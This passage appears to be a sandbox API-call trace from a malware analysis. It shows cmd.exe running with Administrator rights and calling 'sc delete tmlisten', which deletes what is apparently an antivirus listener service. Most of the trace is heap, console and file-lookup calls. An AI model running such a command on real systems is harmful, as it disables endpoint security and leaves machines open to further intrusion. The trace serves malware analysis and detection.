lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.800] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e342, cchWideChar=1 | out: lpWideCharStr="nanService\ne\n\n\nA\"\n") returned 1 [0068.801] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.801] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.801] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.801] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e344, cchWideChar=1 | out: lpWideCharStr="\nnService\ne\n\n\nA\"\n") returned 1 [0068.801] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.801] GetFileType (hFile=0xb8) returned 0x3 [0068.801] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.801] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.801] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.801] GetFileType (hFile=0x120) returned 0x3 [0068.801] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.801] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete tmlisten\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete tmlisten\n", lpUsedDefaultChar=0x0) returned 20 [0068.801] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x13, lpNumberOfBytesWritten=0x14f578, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f578*=0x13, lpOverlapped=0x0) returned 1 [0068.801] GetProcessHeap () returned 0x1b0000 [0068.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x4012) returned 0x1f8630 [0068.801] GetProcessHeap () returned 0x1b0000 [0068.801] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1f8630 | out: hHeap=0x1b0000) returned 1 [0068.801] GetProcessHeap () returned 0x1b0000 [0068.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0) returned 0x1d4660 [0068.801] GetProcessHeap () returned 0x1b0000 [0068.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x16) returned 0x1c89b0 [0068.801] GetProcessHeap () returned 0x1b0000 [0068.801] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x32) returned 0x1c6510 [0068.802] GetConsoleOutputCP () returned 0x1b5 [0068.802] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.802] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.802] GetConsoleTitleW (in: lpConsoleTitle=0x14f530, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.802] GetProcessHeap () returned 0x1b0000 [0068.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x218) returned 0x1c9910 [0068.802] GetProcessHeap () returned 0x1b0000 [0068.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x38) returned 0x1c6550 [0068.802] GetProcessHeap () returned 0x1b0000 [0068.802] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x420) returned 0x1cba10 [0068.803] SetErrorMode (uMode=0x0) returned 0x1 [0068.803] SetErrorMode (uMode=0x1) returned 0x0 [0068.803] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x1cba20, lpFilePart=0x14edc0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14edc0*="Desktop") returned 0x25 [0068.803] SetErrorMode (uMode=0x1) returned 0x1 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1cba10, Size=0x62) returned 0x1cba10 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1cba10) returned 0x62 [0068.803] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.803] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.803] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.803] GetProcessHeap () returned 0x1b0000 [0068.803] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.803] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.804] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.804] GetLastError () returned 0x2 [0068.804] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.804] GetLastError () returned 0x2 [0068.804] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.804] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.805] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.805] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.805] GetLastError () returned 0x2 [0068.805] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.805] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.805] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.805] GetProcessHeap () returned 0x1b0000 [0068.805] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.805] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.805] GetProcessHeap () returned 0x1b0000 [0068.805] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9e) returned 0x1c9180 [0068.806] GetProcessHeap () returned 0x1b0000 [0068.806] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9e [0068.806] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete tmlisten") returned 1 [0068.806] GetProcessHeap () returned 0x1b0000 [0068.806] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.806] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.806] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.806] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.806] GetProcessHeap () returned 0x1b0000 [0068.807] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.807] GetProcessHeap () returned 0x1b0000 [0068.807] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.807] GetProcessHeap () returned 0x1b0000 [0068.807] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.807] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete tmlisten", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete tmlisten", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete tmlisten", lpProcessInformation=0x14ee20*(hProcess=0x54, hThread=0x50, dwProcessId=0xac8, dwThreadId=0xacc)) returned 1 [0068.810] CloseHandle (hObject=0x50) returned 1 [0068.810] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.810] GetProcessHeap () returned 0x1b0000 [0068.810] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.810] GetEnvironmentStringsW () returned 0x1d1b10* [0068.810] GetProcessHeap () returned 0x1b0000 [0068.810] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.810] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.811] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.811] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd3000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.811] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0068.873] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.873] CloseHandle (hObject=0x54) returned 1 [0068.873] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.873] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.873] GetProcessHeap () returned 0x1b0000 [0068.873] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.873] GetEnvironmentStringsW () returned 0x1d1b10* [0068.873] GetProcessHeap () returned 0x1b0000 [0068.873] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.873] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.874] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.874] GetProcessHeap () returned 0x1b0000 [0068.874] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba90 | out: hHeap=0x1b0000) returned 1 [0068.874] GetEnvironmentStringsW () returned 0x1d1b10* [0068.874] GetProcessHeap () returned 0x1b0000 [0068.874] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba90 [0068.874] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.874] GetProcessHeap () returned 0x1b0000 [0068.874] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.874] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.874] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.875] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.875] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.875] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.875] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.875] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.875] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.876] GetConsoleOutputCP () returned 0x1b5 [0068.876] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.876] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.876] GetProcessHeap () returned 0x1b0000 [0068.876] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.877] GetProcessHeap () returned 0x1b0000 [0068.877] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.877] GetProcessHeap () returned 0x1b0000 [0068.877] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.877] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.877] GetFileType (hFile=0x120) returned 0x3 [0068.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.877] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.877] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.877] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.877] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.877] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.877] GetFileType (hFile=0x120) returned 0x3 [0068.877] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.877] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.877] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.877] GetFileType (hFile=0xb8) returned 0x3 [0068.877] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.878] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.878] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.878] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.878] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" tmlisten\nnService\ne\n\n\nA\"\n") returned 1 [0068.879] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.879] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.879] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.879] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, 